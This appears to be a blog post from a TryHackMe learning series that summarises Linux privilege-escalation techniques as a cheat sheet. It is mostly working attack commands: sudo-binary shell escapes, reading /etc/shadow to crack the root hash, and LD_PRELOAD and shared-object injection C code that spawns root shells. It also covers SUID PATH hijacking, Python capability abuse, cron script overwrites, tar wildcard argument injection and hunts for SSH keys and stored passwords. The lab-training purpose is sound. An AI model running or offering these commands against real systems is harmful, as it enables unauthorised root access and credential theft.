TryHackMe | Linux Privilege Escalation

In this post, I summarize lessons learned from two rooms covering Linux Privilege Escalation on TryHackMe

9 months ago   •   3 min read

By 0xBEN
Table of contents

Rooms

These are just some of the things you can try to escalate privilege on a Linux system. This is not meant to be an exhaustive list.





File Permissions

Look for system files or service files that may be writeable





SUDO

  • If the user has sudo privileges on any or all binaries
  • Check here for possible escalation vectors: https://gtfobins.github.io
  • Some other examples of sudo abuse

Shell Execution

Some examples of how sudo enabled binaries can be abused to start a root shell.

sudo find /bin -name nano -exec /bin/sh \;
sudo awk 'BEGIN {system("/bin/sh")}'
echo "os.execute('/bin/sh')" > shell.nse && sudo nmap --script=shell.nse
sudo vim -c '!sh'

Reading System Files

Example of how a sudo enabled command could be used to read a protected file.

sudo apache2 -f /etc/shadow
# Copy root hash and attempt to crack with john

LD_Preload

  • Run sudo -l
  • If LD_PRELOAD environment variable is set
  • Create a file called whatever.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
  • Compile it
gcc -fPIC -shared -o /tmp/whatever.so whatever.c -nostartfiles
  • Load it
sudo LD_PRELOAD=/tmp/whatever.so apache2




SUID

Binary Environment Variables

  • Find SUID binaries
find / -type f -user root -perm /4000 -ls 2>/dev/null
  • If the binary is trying to load a service into its run time, may be able to inject
strings /path/to/suid/binary
  • Make a note of the service name it's trying to load

Method 1

  • Bash <4.2-048 only
  • Check bash version /bin/bash --version
# Create a function with the same name as the service dependency
function /path/to/serivicename() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }

# Export it into the shell environment
export -f /path/to/servicename
  • Run the SUID binary again

Method 2

echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/servicename.c
  • Compile it
gcc /tmp/servicename.c -o /tmp/servicename

# Path injection
export PATH=/tmp:$PATH
  • Run the SUID binary again

Shared Object Injection

  • Find SUID binaries
find / -type f -user root -perm /4000 -ls 2>/dev/null
  • Test the binaries for missing libraries
strace /path/to/suid/binary 2>&1 | grep -i -E "open|access|no such file"
  • If there are any .so libraries missing, they may be injectable
  • Note the filename.so that is missing
  • Note directory where the library should be and check if it's writeable
  • Create a filename.c
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
  • Compile it
gcc -shared -fPIC /tmp/filename.c -o /tmp/filename.so




Capabilities

  • Check capabilities
  • Depending on the capability set, could use Python to escalate privilege

Example 1: cap_chown+ep

getcap -r / 2>/dev/null

/usr/bin/python3.8 = cap_chown+ep

python3.8 -c 'import os;os.chown("/etc/passwd",<uid>,<gid>)

Example 2: cap_setuid

getcap -r / 2>/dev/null

/usr/bin/python2.6 = cap_setuid

/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'




Scheduled Tasks

Writeable Scripts

  • If a cron task is running as root and the script is writeable
  • Can overwrite the script with new contents to be run as root

Cron Path Injection

cat /etc/crontab
  • If cron is loading scripts from a writeable directory, create or overwrite a script
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /writeable/dir/script.sh
chmod +x /writeable/dir/script.sh
  • Wait for cron to execute and load bash
/tmp/bash -ip

Abusing Scripts

Example: tar

If a script is using tar -cf /path/* wildcards

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /path/script.sh
touch /path/--checkpoint=1
touch /path/--checkpoint-action=exec=sh\ script.sh




SSH Keys

find / -name authorized_keys 2> /dev/null
find / -name id_rsa 2> /dev/null
  • Both of these may indicate the presence of a public SSH key
  • Could match up to a private SSH key for a user account




Stored Passwords

Configuration Files

  • Check in configuration files for stored password
  • Common directories
/etc
/var
/home
/opt

Terminal History

  • Check the terminal history if running under a user session
  • Also grep in home directories containing terminal history cache files




Kernel Exploits

  • Use the output from uname -a and Google around for a vulnerabilties
  • Enumeration scripts might indicate a vulnerable kernel version

Spread the word

Keep reading